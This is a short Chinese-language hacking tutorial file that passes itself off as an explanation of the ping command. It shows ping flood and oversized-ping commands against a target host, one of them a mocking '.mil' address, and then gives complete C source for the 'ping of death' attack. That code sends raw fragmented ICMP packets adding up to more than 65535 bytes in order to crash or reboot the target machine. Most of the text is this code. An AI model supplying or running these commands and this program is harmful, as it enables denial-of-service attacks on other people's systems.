?? ping命令的基本格式:.txt
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1.Ping命令的基本格式:
ping hostname
其中hostname是目標(biāo)計(jì)算機(jī)的地址。Ping還有許多高級(jí)使用,下面就是一個(gè)例子。
C:> ping -f hostname
這條命令給目標(biāo)機(jī)器發(fā)送大量的數(shù)據(jù),從而使目標(biāo)計(jì)算機(jī)忙于回應(yīng)。在Windows 95的計(jì)算機(jī)上,使用下面的方法:
c:\windows\ping -l 65500 saddam_hussein's.computer.mil
這樣做了之后,目標(biāo)計(jì)算機(jī)有可能會(huì)掛起來(lái),或從新啟動(dòng)。由于 -l 65510 產(chǎn)生一個(gè)巨大的數(shù)據(jù)包。由于要求返回一個(gè)同樣的數(shù)據(jù)包,會(huì)使目標(biāo)計(jì)算機(jī)反應(yīng)不過(guò)來(lái)。
在Linux計(jì)算機(jī)上,可以編寫(xiě)一個(gè)程序來(lái)實(shí)現(xiàn)上述方法。
#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <netinet/in_systm.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
/*
* If your kernel doesn't muck with raw packets, #define REALLY_RAW.
* This is probably only Linux.
*/
#ifdef REALLY_RAW
#define FIX(x) htons(x)
#else
#define FIX(x) (x)
#endif
int
main(int argc, char **argv)
{
int s;
char buf[1500];
struct ip *ip = (struct ip *)buf;
struct icmp *icmp = (struct icmp *)(ip + 1);
struct hostent *hp;
struct sockaddr_in dst;
int offset;
int on = 1;
bzero(buf, sizeof buf);
if ((s = socket(AF_INET, SOCK_RAW, IPPROTO_IP)) < 0) {
perror("socket");
exit(1);
}
if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) {
perror("IP_HDRINCL");
exit(1);
}
if (argc != 2) {
fprintf(stderr, "usage: %s hostname\n", argv[0]);
exit(1);
}
if ((hp = gethostbyname(argv[1])) == NULL) {
if ((ip->ip_dst.s_addr = inet_addr(argv[1])) == -1) {
fprintf(stderr, "%s: unknown host\n", argv[1]);
}
} else {
bcopy(hp->h_addr_list[0], &ip->ip_dst.s_addr, hp->h_length);
}
printf("Sending to %s\n", inet_ntoa(ip->ip_dst));
ip->ip_v = 4;
ip->ip_hl = sizeof *ip >> 2;
ip->ip_tos = 0;
ip->ip_len = FIX(sizeof buf);
ip->ip_id = htons(4321);
ip->ip_off = FIX(0);
ip->ip_ttl = 255;
ip->ip_p = 1;
ip->ip_sum = 0; /* kernel fills in */
ip->ip_src.s_addr = 0; /* kernel fills in */
dst.sin_addr = ip->ip_dst;
dst.sin_family = AF_INET;
icmp->icmp_type = ICMP_ECHO;
icmp->icmp_code = 0;
icmp->icmp_cksum = htons(~(ICMP_ECHO << 8));
/* the checksum of all 0's is easy to compute */
for (offset = 0; offset < 65536; offset += (sizeof buf - sizeof *ip)) {
ip->ip_off = FIX(offset >> 3);
if (offset < 65120)
ip->ip_off |= FIX(IP_MF);
else
ip->ip_len = FIX(418); /* make total 65538 */
if (sendto(s, buf, sizeof buf, 0, (struct sockaddr *)&dst,
sizeof dst) < 0) {
fprintf(stderr, "offset %d: ", offset);
perror("sendto");
}
if (offset == 0) {
icmp->icmp_type = 0;
icmp->icmp_code = 0;
icmp->icmp_cksum = 0;
}
}
}
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